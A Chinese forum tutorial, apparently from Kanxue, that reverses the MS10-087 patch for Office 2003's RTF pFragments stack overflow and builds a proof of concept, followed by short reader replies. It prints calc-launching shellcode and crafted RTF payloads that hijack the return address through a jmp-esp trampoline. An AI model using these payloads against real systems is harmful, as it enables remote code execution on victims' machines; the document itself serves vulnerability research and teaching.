首页
社区
课程
招聘
[原创]MS10-087从漏洞补丁到POC
2014-12-26 23:25 5828

[原创]MS10-087从漏洞补丁到POC

2014-12-26 23:25
5828
实验环境

操作系统:VMWare Windows XP SP3
Office版本:Microsoft Office 2003 SP3
漏洞DLL:Mso.dll 11.0.8324.0
调试器:Windbg


前言

    MS10-087是微软OFFICE办公软件在处理RTF文档的绘图pFragments 属性时产生的一个栈溢出漏洞,可能允许攻击者以特制的RTF格式数据远程执行任意代码。CVE编号CVE-2010-1333
    在本文中,我将介绍通过逆向微软MS10-087补丁程序并成功制造出一个POC的过程,同时分享我在其中学到的一些东西。我们首先逆向分析一下补丁程序来了解这个漏洞的起因。

    理解这个漏洞

      我们先到https://technet.microsoft.com/library/security/ms10-087下载对应OFFICE版本的补丁程序,我的是Microsoft Office 2003 SP3。这个补丁包含2个文件,如下图:



        安装完Office 2003 SP3后,Mso.dll的版本是11.0.5606.0,与漏洞补丁的11.0.8329.0差距非常之大,这为我们逆向对比补丁程序带来了很大的困难。于是我找到了MS10-036的补丁程序,这个补丁也包含2个文件,如下图:



          现在Mso.dll的版本11.0.8324.0与MS10-87的补丁版本11.0.8329.0比较接近了。
          接下来我们从补丁中提取DLL,假设你下载后的文件名称为Office-KB.exe,在命令行中通过Office-KB.exe /c提取出安装文件,如下图:



          Office2007版本前的补丁程序提取过程比较蛋疼,还需要解压MSO.msp,这里有一个提取工具:
          http://www.windowswiki.info/2009/02/19/how-to-extract-msumspmsiexe-files-from-the-command-line/
          用法:msix MSO.msp /out C:\patch,得到CAB后,通过解压缩就可以得到补丁文件了。

          得到了11.0.8324.0(未修复版本)和11.0.8329.0(修复版本)的MSO.DLL后,我使用了BindDiff工具来查找两个DLL的差异。尽管两个DLL的版本号差异不大,但是这个接近12M的DLL比对起来,仍然有非常多的差异函数:



          在至少100多个函数当中去定位漏洞所在代码实在像大海捞针一样,此时我考虑先从构造一个非法的RTF格式数据来触发一些异常,获得EIP地址后再来补丁程序中查看能否进一步获得一些信息。
          关于RTF规范可以参考地址:http://www.doc88.com/p-33279717171.html
          规范中介绍pFragments属性的值时有这样一段描述:




          既然文中提到“每个元素的字节数可以为2、4、8”,为了触发异常,我绝对不会老实的按要求使第一数字为2、4、8,于是构造了一个看似非法的RTF格式的数据:
          {\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;11121314151617181920}}}}}
          保存为

          ,运行,崩溃!



          我使用Windbg去调试,得到的崩溃信息如图:



          可以看到EIP指向0x00000000,观察寄存器信息哪些可以被我们利用,看到EDX=20191817,这个不是我们填入RTF的数据吗,但是这里有一个疑问,为毛填入的数据,没有转变为ASCII,反而以十进制的形式表示。先不管这个,查看堆栈:



          到了这里我也没有好的办法能迅速定位到事故EIP,查看堆栈的话,因为EIP已经改变为0x00000000,现在的问题是如何定位溢出的EIP,我想到的方法是,沿着堆栈向内存高地址查看堆栈内的函数调用留下的EBP和返回地址,BP返回地址,重复从崩溃信息中一点点靠近溢出现场(本人知识有限,如有更好的方法不吝赐教!)。因为是栈溢出,一旦溢出数据破坏了返回地址,程序返回会立刻产生异常。

          于是看ESP=0x00123808,到这个栈地址的附近去看看内存信息



          并没有发现我们填入的数据,以及有用的信息,去远一点的地方再看看



          这里有一个0x0012516c,很像栈地址对不对,后面的0x3006f94f就是堆栈内其他函数的返回地址,重新打开Windbg,bp 0x3006f94f,用World打开RTF


          程序断在了这里,这里的ESP距离事故现场的ESP 0x00123808还是有一点距离的。
          因为现在进程进入了调试态,所以最后溢出时候的栈地址可能和现在的0x00123808不同。
          抱着一点点耐心,经过N次崩溃及N次重复下断点,最后我找到了使堆栈溢出函数:


          代码反汇编如下:


          继续步进,来到0x30e97c06的地方:


          此时ecx=0x00000585(已经除过4),原地址esi为=0x09c6000c,目的地址edi=0012aa30,从地址来看edi是在栈中的一个缓冲区,再看当前栈帧的栈底ebp=0x0012aa40,这个缓冲区用C语言表示的话char buffer[0x10],也就是不到0x10字节的大小,但是复制的数据长度却是0x585 * 4,这条指令执行完,edi的值早就高于ebp了,正是这个地方缓冲区溢出,同时可以看到EDI的值是从作为函数参数传递过来的,我们去上一个函数看看。




          可以看到,ecx是该函数的第二个参数,并且按照程序作者的意图,ecx最大也就是0x10大小,并且盲目信任了RTF中的长度数据。正是这个庞大的软件工程中毫不起眼的小地方出了问题,才给了我们劫持进程,进一步渗透的机会!千里之堤溃于蚁穴,请广大逻辑爱好者写程序一定要谨慎啊!

          利用这个漏洞

          首先准备一段弹出计算器的shellcode
          Char*shellcode="\x90\x33\xc0\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x8b\xc4\x6a\x05\x50\xb8\xad\x23\x86\x7c\xff\xd0\x83\xc4\x0c\x90";

          __asm
          {
                  int 3
                  mov eax, shellcode
                  call eax
          }

          可以弹出计算器,Winexec函数地址写死了,所以这段shellcode并不通用,只是为了实验一下漏洞。
          即将要做的事情是,精心特制一个RTF,使栈的返回地址被我们特制的数据覆盖,劫持进程,转向SHELLCODE。现在还有一个问题没有解决,那就是为毛RTF中的数据到了内存中还是以十进制的形式保存,理论上应该变成了对应的ASCII,我认为程序在解析RTF之前,已经做了一次转换,从ASCII到DEC。这个假设等渗透成功后,有时间再去验证。

          现在把rtf扩大一些
          {\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;111213141516171819202122232425262728293031323334353637383940}}}}},到程序拷贝缓冲区前看看内存的样子。


          11-16这6个数没有出现在缓冲区中,实际上15、16这两个数被作为ecx的值了,可以计算一下0x1615 / 4 = 0x585,前面的11、12、13、14,应该也是被WORD解析掉了。
          从上面还可以获得一些信息,当前栈帧的栈底为0x0012aa40,0x0012aa40指向的内存保存的是上一个函数的栈底,那么0x0012aa44保存的就是返回地址了,我们只要把这个地址覆盖为shellcode的地址,那么我们的漏洞利用基本就成功了。继续执行,P。


          可以看到0x001244指向的地址0x40393837就是这个函数返回后的地址,继续执行,直到函数返回前,P。


          Leave命令后,ebp的值为我们填充的0x36353433,接下来EIP就要改变为0x40393837了,程序崩溃,至此我们的预测是正确的。


          现在把Shellcode加入到RTF中,

          {\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;1112131415161718192021222324252627282930313233343536373839409033c050682e6578656863616c638bc46a0550b8ad23867cffd083c40c90}}}}}
          再次进入到程序中查看内存,但是还没等到函数返回,到了当前栈帧中下一个函数调用中就崩溃了:


          因为内存溢出后,新加入的shellcode覆盖了栈原来数据,还没等到问题函数返回,程序又调用了一个函数,该函数崩溃。我把shellcode去掉,查看前一个状态的内存,原来只要把之间一段内存覆盖为0x00,出异常的函数就可以越过去,于是我在RTF中增加了几个0x00,如下:

          {\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;11121314151617181920212223242526272829303132333435363738394000000000000000000000000000000000000000009033c050682e6578656863616c638bc46a0550b8ad23867cffd083c40c90}}}}}

          此时程序执行到函数返回前,观察寄存器状态,Shellcode地址位于0x0012a970,ESP同时指向0x0012a970,于是我们可以用跳板技术去覆盖函数返回地址。


          Windows XP下万能的跳转地址是0x7ffa4512,重新构造RTF:
          {\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;11121314151617181920212223242526272829303132333435361245fa7f00000000000000000000000000000000000000009033c050682e6578656863616c638bc46a0550b8ad23867cffd083c40c90}}}}}

          直接运行rtf,计算器弹出来了!


          总结

          希望这篇帖子可以使对渗透感兴趣的新人有一些帮助,同时也希望这篇可以作为我的转正贴,O(∩_∩)O~。SHELLCODE调用后,返回原堆栈继续执行下去的代码就先不写了,感兴趣的朋友可以尝试一下。文章中有错误的地方,希望不要吐槽,请指正出来,谢谢!
          这是我第一篇在看雪的帖子,同时2014年即将过去,在这非常有纪念意义的一刻,祝大家新年快乐!2014这一年对我来说度过的非常缓慢,事业上遇到了很多的坎坷,希望2015年能够有一个新的开端,杨帆~起航!

          阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

          上传的附件:
          收藏
          点赞1
          打赏
          分享
          最新回复 (10)
          雪    币: 118
          活跃值: (72)
          能力值: ( LV4,RANK:50 )
          在线值:
          发帖
          回帖
          粉丝
          dalerkd 1 2014-12-26 23:37
          2
          0
          前排瓜子饮料
          雪    币: 2321
          活跃值: (4028)
          能力值: ( LV12,RANK:530 )
          在线值:
          发帖
          回帖
          粉丝
          熊猫正正 9 2014-12-26 23:49
          3
          0
          支持,谢谢分享
          雪    币: 188
          活跃值: (10)
          能力值: ( LV2,RANK:10 )
          在线值:
          发帖
          回帖
          粉丝
          JackJoker 2014-12-27 00:11
          4
          0
          多谢楼主分享
          雪    币: 185
          活跃值: (47)
          能力值: ( LV2,RANK:10 )
          在线值:
          发帖
          回帖
          粉丝
          小旭msx 2014-12-27 10:43
          5
          0
          学习学习
          雪    币: 208
          活跃值: (60)
          能力值: ( LV7,RANK:100 )
          在线值:
          发帖
          回帖
          粉丝
          kiwiHacker 2 2014-12-27 17:18
          6
          0
          申请转正啊版主
          雪    币: 2662
          活跃值: (3401)
          能力值: ( LV13,RANK:1760 )
          在线值:
          发帖
          回帖
          粉丝
          安于此生 34 2014-12-27 18:44
          7
          0
          写的不错...
          雪    币: 2662
          活跃值: (3401)
          能力值: ( LV13,RANK:1760 )
          在线值:
          发帖
          回帖
          粉丝
          安于此生 34 2014-12-27 18:46
          8
          0
          别急,viphack估计还没看到...
          雪    币: 208
          活跃值: (60)
          能力值: ( LV7,RANK:100 )
          在线值:
          发帖
          回帖
          粉丝
          kiwiHacker 2 2014-12-27 23:19
          9
          0
          呵呵,感谢,头一次发帖
          雪    币: 283
          活跃值: (74)
          能力值: ( LV3,RANK:20 )
          在线值:
          发帖
          回帖
          粉丝
          juckerpp 2014-12-29 11:31
          10
          0
          写的不错,Nday实现者容易被黑产 ,楼主应洁身自好
          雪    币: 1
          活跃值: (10)
          能力值: ( LV2,RANK:10 )
          在线值:
          发帖
          回帖
          粉丝
          DaisyGene 2015-1-8 13:07
          11
          0
          好牛逼啊
          游客
          登录 | 注册 方可回帖
          返回